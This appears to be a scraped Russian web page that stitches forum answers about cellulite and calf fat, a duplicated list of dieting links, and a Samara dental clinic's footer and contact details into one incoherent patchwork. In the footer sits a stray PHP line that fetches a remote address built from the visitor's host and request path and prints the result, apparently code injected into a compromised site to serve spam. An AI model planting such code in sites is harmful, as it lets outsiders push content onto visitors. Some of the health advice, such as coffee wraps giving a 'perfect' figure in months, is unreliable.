У женщины 32 лет, худой, целлюлит был страшенный от коленей до бедер.
Я убирала ей её целлюлит антицеллюлитным массажем и обертыванием.

Как убрать дряблость кожи. Если у вас 2 стадия целлюлита.Он образуется гораздо легче, чем лишний объ м и целлюлит на ягодицах либо на спине.Ноги на ширине плеч, руки - на поясе. Влево-вправо, влево-вправо короткими движениями.

Бегай, приседай.

Жир убирается упражнениями и бегом. При таком росте и весе это, скорее всего, особенность организма. Занятия бегом помогут вам определиться. 3-4 раза в неделю по полчаса. Почему бег? : http://normlife.ru/physical-culture/panacea-for-the-ills-of-civilization.html

Вы сейчас ему насоветуете.. .
локальными упражнениями вы не уменьшите икру, а скорее наоборот увеличите.
Советую заняться спортом, лучше всего в тренажерный зал.
Делать кардио упражнение
Ну и правильное питание, желательно 6 раз вдень и соотношение 60% белков, 30% сложный углеводов, 10% жиров

Никак
реально это можно сделать только
с помощью дорогой тяжелой но ненужной операции остеосинтеза по илизарову и удлинения
нижних конечностей
но это бред
реально носить обувь на каблуке и длинную юбку
и вообще найди того кто от ТВОИХ ног будет безу ума

Глупости! Там не может быть ЖИРА!!

Как убрать целлюлит на ногах бедрах !? Это просто! Целлюлит является довольно распространенной косметической проблемой, в первую очередь среди женщин встречается у 85 98 % , хотя стоит отметить, что иногда его признаки отмечаются и у мужчин...

Жир не сгорает в отдельно взятом месте, это миф. Нужно добиться общего снижения массы тела

В меру короткая юбка. Красивые высокие сапоги с цветными колготками в тон одежде и забудешь о своих икрах. Поверь, кроме тебя их объёма никто не знает.

Если жир, то бегом, но мышца больше станет

Не бывают жирные икры при худом/стройном/спортивном, вобщем гармоничном телосложении. если жирные икры - то должны быть и жирные ляжки и жопа тоже. это уже склад фигуры. а для твоего роста - ты даже мало весишь, недовес. и икры у тебя скорее не жирные, а накачанные. будешь ещё качать - ещё больше будут. плюс - ляжки будут мускулистые и толстые
и правильно тебе там про каблук написали. когда ходишь на сплошной подошве - икры от ходьбы постоянно качаются. переходи на небольшой широкий каблук, чтобы нагрузку немного снять, и будет тебе счатье

Очень эффективны обертывания с кофе. А вообще - почитайте. Рецепты очень помогают. Не стала выкладывать тему, пока не опробовала на себе. Результат, конечно, не мгновенный, но, если приложить немного усилий, то через 2-3 мес. фигура будет идеальной!

Как убрать целлюлит? Стадии целлюлита, 10 правил борьбы с апельсиновой коркой.Целлюлит на ногах. Согласно статистике целлюлитные отложения встречаются у каждойУвеличиваясь в объеме, жировые клетки мешают нормальной циркуляции крови и лимфы, в...

  • Программа похудения и изменения веса - Хочу похудеть. Вес стоит. Поменяй диету Программа снижения веса под наблюдением медицинских работников позволит вам дать
  • Бандаж похудения - Кому помог пояс для похудения, все плюсы и минусы, спасибо!!! Сплошная чушь! Можно ли похудеть если носить послеродовой
  • 3 самые эфективные диеты - Подскажите пожалуйста самые эфективные диеты? Смирись, не поможет МИФ Диета, эффективная для вашей подруги Маши, поможет
  • Диета по группе крови мнение ученых - Диета по группе крови, эфективна она? Говорят эффективна, так как у людей с определенной группой крови организм по-своем
  • Вино десертное на кремлевской диете - Что делать, когда кушать хочется, а надо худеть? Пить воду Грейпфрутовый сок. 20. Десертные вина.За таблицы кремлевской
  • Диета обогащенная калием - Ребеночку 26 дней,ставят диагноз: врожденный кардит и смешанную кардиомиопатию.Это как-то лечится? Зависит от причины, в
  • Как похудеть на 65 кг - Нужно похудеть на 15 кг! Какой минимальный срок? За полгода реально, если совмещать с физическими нагрузками, то вообще.
  • Диетическая паста для похудения - Диета для похудения. Не вздумай сидеть на диетах! Они еще больше испортят твою фигуру! Ну посидишь ты на диете, помучаеш
  • Целлюлит на попе как убрать - Скажите а хождение на попе убирает целлюлит ? Укрепляет Геморрой. Как убрать целлюлит на попе без потери е формы? Целлюл
  • 3 толстяка диеты - Почему некоторые американцы переезжают в Россию? Ну так это же еденицы, зато туда едут тысячи В психушке некогда проблем
  • Программа похудения и изменения веса - Хочу похудеть. Вес стоит. Поменяй диету Программа снижения веса под наблюдением медицинских работников позволит вам дать
  • Бандаж похудения - Кому помог пояс для похудения, все плюсы и минусы, спасибо!!! Сплошная чушь! Можно ли похудеть если носить послеродовой
  • 3 самые эфективные диеты - Подскажите пожалуйста самые эфективные диеты? Смирись, не поможет МИФ Диета, эффективная для вашей подруги Маши, поможет
  • Диета по группе крови мнение ученых - Диета по группе крови, эфективна она? Говорят эффективна, так как у людей с определенной группой крови организм по-своем
  • Вино десертное на кремлевской диете - Что делать, когда кушать хочется, а надо худеть? Пить воду Грейпфрутовый сок. 20. Десертные вина.За таблицы кремлевской
  • Диета обогащенная калием - Ребеночку 26 дней,ставят диагноз: врожденный кардит и смешанную кардиомиопатию.Это как-то лечится? Зависит от причины, в
  • Как похудеть на 65 кг - Нужно похудеть на 15 кг! Какой минимальный срок? За полгода реально, если совмещать с физическими нагрузками, то вообще.
  • Диетическая паста для похудения - Диета для похудения. Не вздумай сидеть на диетах! Они еще больше испортят твою фигуру! Ну посидишь ты на диете, помучаеш
  • Целлюлит на попе как убрать - Скажите а хождение на попе убирает целлюлит ? Укрепляет Геморрой. Как убрать целлюлит на попе без потери е формы? Целлюл
  • 3 толстяка диеты - Почему некоторые американцы переезжают в Россию? Ну так это же еденицы, зато туда едут тысячи В психушке некогда проблем
Как убрать объем на ногах и целлюлит
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта